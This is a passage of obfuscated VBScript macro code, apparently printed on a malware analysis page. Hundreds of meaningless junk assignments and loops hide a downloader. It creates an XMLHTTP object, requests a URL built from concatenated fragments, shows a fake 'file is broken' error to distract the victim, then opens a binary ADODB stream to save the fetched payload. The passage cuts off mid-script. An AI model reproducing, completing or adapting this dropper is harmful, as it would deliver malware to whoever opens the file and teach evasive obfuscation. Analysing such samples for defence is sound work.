aigu3 = aigu3 + mkyy
Next mkyy
For xlurn = 21 To 24
yuqgu09 = -302
Next xlurn
Dim vocfy As Boolean
vocfy = True
Dim xkyuvsee As Boolean
xkyuvsee = False
Dim uqgbxy As Boolean
uqgbxy = True
goyayj = "qco"
Dim supgft As Boolean
supgft = False

qa = 33200
xkiikl01 = 55976
yzl = Not (qa < xkiikl01)

Dim cpaestee As String
cpaestee = "wuvneajuou"

Dim euucof As Integer
euucof = 24308
Dim fiieu As String
fiieu = "-27423"
lhe = 52541
ya = -32295
gdjwi = Not (lhe < ya)

Dim dleanwm As Boolean
dleanwm = True

qfqu4 = 66181
xtbfn = (Not qfqu4)
Dim lnei50
lnei50 = -3117
For yqs = 86 To 87
iklciy = yqs
Next yqs
ibey = -7879
oizgw5 = (Not ibey)
u = -10952
au = (Not u)
aaubr20 = "8/S"
u = 15036
o = (Not u)
For qga = 60 To 60
szwarag = 9022
Next qga

Dim gviepnm As Double
gviepnm = 15042.60832
Dim iepo As Double
iepo = 16407.34611
Dim mytjudd As Boolean
mytjudd = True
woopd = -54218
enfkp = 2401
ia = Not (woopd < enfkp)

Dim ykvggqte
ykvggqte = 23863
For ye = 91 To 91
nyrumr = ye
Next ye
qdfmbf = -39002
o = (Not qdfmbf)

kdxwaht = 33336
bpr = (Not kdxwaht)
For ue = 68 To 68
pqjeyy = pqjeyy + ue
Next ue
For bvrnrz = 10 To 11
plaltgui = bvrnrz
Next bvrnrz
yyoo = 20593
wdnny = (Not yyoo)
Dim yxlvi As Integer
yxlvi = 24929
mfssvmz = 34687
i = (Not mfssvmz)
uudp = -10566
hpdltp = (Not uudp)

ahoeee = "\zc"
For lz = 19 To 21
yylxkpu = -3162
Next lz
Dim oeygc As Double
oeygc = 60539.11281
For qno = 14 To 15
seey = seey + qno
Next qno
Dim iuupy
iuupy = 23973
For gh = 77 To 79
aooipw = "yzao"
Next gh
uyajc = -14574
za = (Not uyajc)

For kb = 11 To 12
ulpmy = -4542
Next kb
Dim ionyrjg
ionyrjg = -29049

h = 15492
aay = -3027
ugey = Not (h < aay)

aaq = 15671
E = (Not aaq)
For ckmn = 87 To 87
xqjjsk = -15908
Next ckmn
Dim troum
troum = 1598
u = 50841
iyw = -52310
olv = Not (u > iyw)

ikd = -37113
kbk = (Not ikd)
For ydhsg = 23 To 24
uoequa = uoequa + ydhsg
Next ydhsg

Dim zygwpg02
zygwpg02 = -26072
Dim ifmkzlr As Double
ifmkzlr = -3573.60692
wwrvmxua = jjyavprhu & emofqbb99 & oiyniqq & uoakb & bqrua90 & aaubr20 & ykyi & tduesp & iztnefa
ghy = -7266
zrjdd = (Not ghy)
Dim ddvuza
ddvuza = 22090

kez = 3004
oeoe = (Not kez)
For qeo = 63 To 63
lxarfokf = qeo
Next qeo
Dim fuajx
fuajx = -1556

Dim iisqsey
iisqsey = 252
op = 51264
ai = (Not op)

Dim aiqra41 As Double
aiqra41 = 50833.11836
Dim leiq As String
leiq = "s"
Dim dtjjantl
dtjjantl = 25970
vx = 61247
a = -13500
uvj = Not (vx > a)


For a = 21 To 22
ucgfwciw = a
Next a
Dim ypjpqwgt As Boolean
ypjpqwgt = False
t = 1944
kd = (Not t)
o = 56017
bsomy = (Not o)
yma = 53044
qkao = (Not yma)
Dim taga As String
taga = "xiiiaiie"
ufsxp = -65231
lmrf = (Not ufsxp)
pwacncp = ahoeee & adtle & goyayj & huflm2
eqxo = 33344
q = 58095
hhgb = Not (eqxo < q)

For u = 54 To 55
yikdtdu = "lpyfpuy"
Next u
Dim aefzqx
aefzqx = 12114
For i = 45 To 46
iptccz = -8655
Next i
For upa = 39 To 41
ieei = "wuoxozflula"
Next upa
For izx = 17 To 18
yoobcsgu = yoobcsgu + izx
Next izx
For ikh = 38 To 39
juhsms = ikh
Next ikh
twrt3 = -32570
hwa = 56304
gjyq4 = Not (twrt3 < hwa)


Dim heiy
heiy = -31110
ua = 48490
o = (Not ua)
eyoo9 = -36419
msmi = -33127
a = Not (eyoo9 > msmi)

yrc = -53396
thxpa = -62983
eyui = Not (yrc < thxpa)


wwdls = 27974
bfybbo = 31202
hsdqxe = Not (wwdls > bfybbo)

cg = 54455
uu = 45141
u = Not (cg < uu)


For ie = 54 To 54
xtmkfwmv87 = ie
Next ie
For gg = 10 To 11
ockyiee = ockyiee + gg
Next gg
hp = -44382
iblj = (Not hp)
For jfw = 20 To 21
siax = jfw
Next jfw
Set clxke = CreateObject("Microsoft.XMLHTTP")
For o = 62 To 64
yodlyny92 = 19016
Next o
Dim lnuspoey
lnuspoey = 15062
For qqtma = 29 To 29
imjxg = imjxg + qqtma
Next qqtma
bqi = 36515
a = (Not bqi)
Dim odkeeak As Double
odkeeak = -60862.18846
mwlh = -32487
uvdun6 = 20960
E = Not (mwlh > uvdun6)

Dim ueit As Integer
ueit = 18348
For yv = 49 To 50
icrpawnbw = 4823
Next yv
pt = -19307
rziks = (Not pt)
For gvca = 35 To 36
dkyxyy = "oimzyfsoaog"
Next gvca
u = 45105
pxzq = (Not u)
Dim uiaoum40 As Double
uiaoum40 = -52415.13535
Dim ytea As Integer
ytea = -13394
For jg = 56 To 57
uctxpoyj = uctxpoyj + jg
Next jg
wyy = -41646
kwko = (Not wyy)
Dim ihxqzg
ihxqzg = -18591
For io = 36 To 37
sxuea = io
Next io
If Year("9, 8, 67") = 1967 Then
Dim etdop
etdop = 17942
alii = -42102
ovcedj2 = -51087
a = Not (alii < ovcedj2)

a = 64796
yu = (Not a)
For i = 43 To 43
meoar = i
Next i
For buxz = 78 To 78
tqteaue70 = "riyksyfm"
Next buxz
For xi = 61 To 63
icyeo = icyeo + xi
Next xi
For iwl = 70 To 70
rtwdnv3 = -6147
Next iwl
For q = 51 To 51
yhzdrqzoi = yhzdrqzoi + q
Next q
For ye = 98 To 100
lvoitxcb5 = lvoitxcb5 + ye
Next ye
Dim aesnfh
aesnfh = 23233
For r = 25 To 28
edbuwbspx = -1774
Next r
Dim ayhjqz As Integer
ayhjqz = 29694
l = -97
evbui7 = 63891
a = Not (l > evbui7)


For yk = 33 To 34
oiiooqt7 = -9689
Next yk
eb = -21698
djbuxl = 14933
hrcaa3 = Not (eb < djbuxl)
MsgBox "Error: file is broken"
Dim dhelfwe As Boolean
dhelfwe = False
clxke.Open oaxmo, wwrvmxua, False
Dim feprnli
feprnli = -6326
Dim eqpodbr8 As String
eqpodbr8 = "-24886"
Dim ariayq As Boolean
ariayq = False
For iig = 13 To 14
eqvuo = "osauiitldpqvivsi3"
Next iig

Dim asjyomn0 As String
asjyomn0 = "scoaeyxcvm"
For E = 71 To 71
xuqu = E
Next E
For isc = 76 To 77
rbunjbw = 1869
Next isc

For x = 32 To 33
kmicnoo = -9006
Next x
For iiy = 12 To 14
udxra40 = -15088
Next iiy
For gdd = 59 To 60
olbelthkg = "fgwyqsiziwkjgjlygbn"
Next gdd
For iahg = 27 To 29
tlotra = "aooiuai"
Next iahg
Dim zqnibq
zqnibq = 16879
vdqx = 40116
p = (Not vdqx)

End If
Dim ehbemtcf
ehbemtcf = 19662
Dim elijx75 As String
elijx75 = "wvhzngiixu"
dlbn = 55829
mhrm = 49204
iy = Not (dlbn > mhrm)

Dim cbjicm As Integer
cbjicm = -23914
Dim fftgb As Boolean
fftgb = False
y = -22999
y = (Not y)
Dim wbcghwa As String
wbcghwa = "-914"
yzdnu = -40189
i = (Not yzdnu)

For rv = 16 To 16
wcspoeclml = "qbdkouinlvwmxwcxu"
Next rv
Dim toorwy
toorwy = 27754
clxke.send
Dim emnaelb As Boolean
emnaelb = False
a = -34227
bfo = 37449
u = Not (a > bfo)

For nx = 53 To 55
iustxyy = nx
Next nx
wqjy = -61704
k = 32524
rn = Not (wqjy < k)

en = 35730
rcl = (Not en)

For ul = 56 To 59
pxmawts09 = "jcoguyyu"
Next ul
For lh = 56 To 57
euay = "yoqxwjfermci"
Next lh
yaa = -23451
jass = (Not yaa)

Dim fgee7 As Integer
fgee7 = 19496

Dim ustwkp
ustwkp = 19205
Dim uayjt
uayjt = 8984
For E = 33 To 34
mledqiyfx = 13593
Next E
For dbpf5 = 100 To 100
nnhwdamtsh = nnhwdamtsh + dbpf5
Next dbpf5
For yty = 89 To 92
yddynlmt6 = -9960
Next yty
Dim rbiuczx As String
rbiuczx = "25879"
Set oqpmuz = CreateObject("ADODB.Stream")
For dpzrl = 46 To 47
aooe = -10166
Next dpzrl
Dim oemwdd As Double
oemwdd = 60248.92
etcoa = -37517
i = (Not etcoa)
For d = 17 To 19
lhboygt = 2821
Next d
For ax = 95 To 95
qslquv = ax
Next ax
For mlrke = 56 To 57
rzwrizl = mlrke
Next mlrke
ejpr = 59962
yk = 21720
dzu = Not (ejpr > yk)

vpki = 38784
zd = (Not vpki)

ty = 48440
i = (Not ty)
hcsdku = 1252
euh = (Not hcsdku)

Dim eobxokvi
eobxokvi = -8332
Dim tlnjkrvacs As String
tlnjkrvacs = "-29133"
Dim dooejqu
dooejqu = 16170

qwe = -37161
vaee = -13293
eu = Not (qwe > vaee)


Dim wehefj
wehefj = 31909

rtoy = 10762
swa = 7242
ixiu = Not (rtoy > swa)

yulh = -23956
vmiiql = -22996
aa = Not (yulh < vmiiql)

For uwvi = 55 To 58
yeypd = uwvi
Next uwvi
oqpmuz.Open
rwp = -51325
qwlp = 27807
auf = Not (rwp < qwlp)


For mkjy9 = 63 To 63
ooiay = 4498
Next mkjy9
Dim nqgkeehe As Integer
nqgkeehe = -31763
For cr = 49 To 49
aeeapu = "skgleuvuuhbe"
Next cr
Dim owbym
owbym = 1762
Dim ouiepqrl
ouiepqrl = 22894
atqrfq5 = 7
E = -10677
ni = Not (atqrfq5 < E)

For cxggi = 30 To 30
uyyyou = uyyyou + cxggi
Next cxggi
For xf = 90 To 93
urluy = -10861
Next xf

oqpmuz.Type = 1
o = -5127
uop = (Not o)
iixb = 58737
…

Open this report in the interactive analyzer, or submit your own file for analysis.